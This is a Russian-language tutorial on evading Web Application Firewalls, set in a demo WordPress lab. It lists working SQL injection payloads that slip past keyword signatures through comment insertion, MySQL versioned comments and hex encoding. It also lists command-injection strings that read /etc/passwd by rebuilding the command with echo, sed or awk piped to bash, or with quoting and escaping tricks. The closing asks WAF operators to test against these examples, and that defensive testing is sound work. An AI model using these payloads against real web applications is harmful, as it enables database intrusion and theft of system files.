Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.
Web Application Firewall — популярный инструмент для противодействия атакам на веб-приложения. В этой статье я продемонстрирую несколько способов обхода WAF.
WAF bypass: SQL injection
Для демонстрации я предварительно развернул веб-приложение на базе CMS WordPress и установил плагин, содержащий уязвимость в параметре cookie
. Теперь попробуем выполнить ее эксплуатацию, используя пейлоад: ["1807192982')) union select 1,2,3,4,5,6,7,8,9,0,11#"]
Запрос был заблокирован WAF, но мы попробуем выполнить его обход: ["1807192982')) union se","lect 1,2,3,4,5,6,7,8,9,0,11#"]
. В этом примере мы расщепляем операторы union
и select
символами ","
.
Такой прием позволяет выполнить обход WAF, при этом на стороне веб-приложения запрос будет собран и обработается, как union select
: ["1807192982')) union/**/select/**/1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9,/**/'pentestit',/**/11#"]
При замене всех пробелов в запросе на комментарий WAF не сможет распознать атаку. Слова union
или select
могут применяться в легитимных запросах, однако связка из этих операторов может быть использована для проведения атаки. В качестве простейшей сигнатуры можно использовать union\s+select
, что приведет к меньшему количеству ложных срабатываний: ["1807192982')) union(select(1),2,3,4,5,6,7,8,9,0x70656e746573746974,11)#"]
Используя такой вид записи, можно также избежать использования пробелов между union select
. В таком случае WAF не распознает атаку: ["1807192982')) union+/*!select*/ (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#"]
Еще один способ — использование блочного комментирования для оператора select
, которое характерно для MySQL: ["1807192982')) /*!u%6eion*/ /*!se%6cect*/ (1),(2),(3),(4),(5),(6),(7),(8),(9.),(0x70656e746573746974),(11)#"]
Также, можно использовать замену отдельных символов на их 16-ричный код: ["1807192982')) %2f**%2funion%2f**%2fselect (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#"]
Данный способ схож с предыдущим, но здесь в 16-ричный код переводится «слэш».
WAF bypass: RCE
Рассмотрим варианты обхода WAF при эксплуатации RCE-уязвимости на предварительно созданной странице без фильтрации полей со стороны веб-приложения. Например, у нас есть запрос http://site.test.lan/test.php?search=cat /etc/passwd
, который мы хотим выполнить. В таком виде он явно будет заблокирован сигнатурами WAF.
Ответ сервера:
Попробуем изменить запрос:
cat /etc/pa?swd
cat /etc/pa'ss'wd
cat /etc/pa**wd
Ответ сервера:
Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку. В данном случае при помощи сигнатур в запросе производится поиск ключевого слова passswd
. Расщепление ключевого слова в запросе не позволит WAF выявить сигнатуру: ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash
Данный метод последовательно выполняет: команду echo cat /etc/examplewd
, затем с помощью функции sed необходимый участок строки cat /etc/examplewd
заменяется по шаблону. После этого уже измененная строка передается в bash и выполняется на сервере, возвращая результат пользователю. Сам запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур, для WAF, но на стороне сервера запрос обработается как команда bash и вернет результат этой команды в веб-приложении: e'c'ho 'swd test pentest' |awk '{print "cat /etc/pas"$1}' |bash
Метод, похожий на предыдущий, с использованием функции awk
: c\a\t \/\e\t\c/\p\a\s\sw\d
В bash
при помощи \
можно экранировать символы. Воспользуемся этой возможностью для составления запроса.
Таким образом, выявление атак на основе сигнатур не является надежным средством защиты веб-приложения. Понимание принципа составления сигнатур и использование машинного обучения поможет справиться с методами обхода систем защиты.
P.S.: Если вы используете WAF — убедитесь, что он блокирует приведенные примеры их модификации.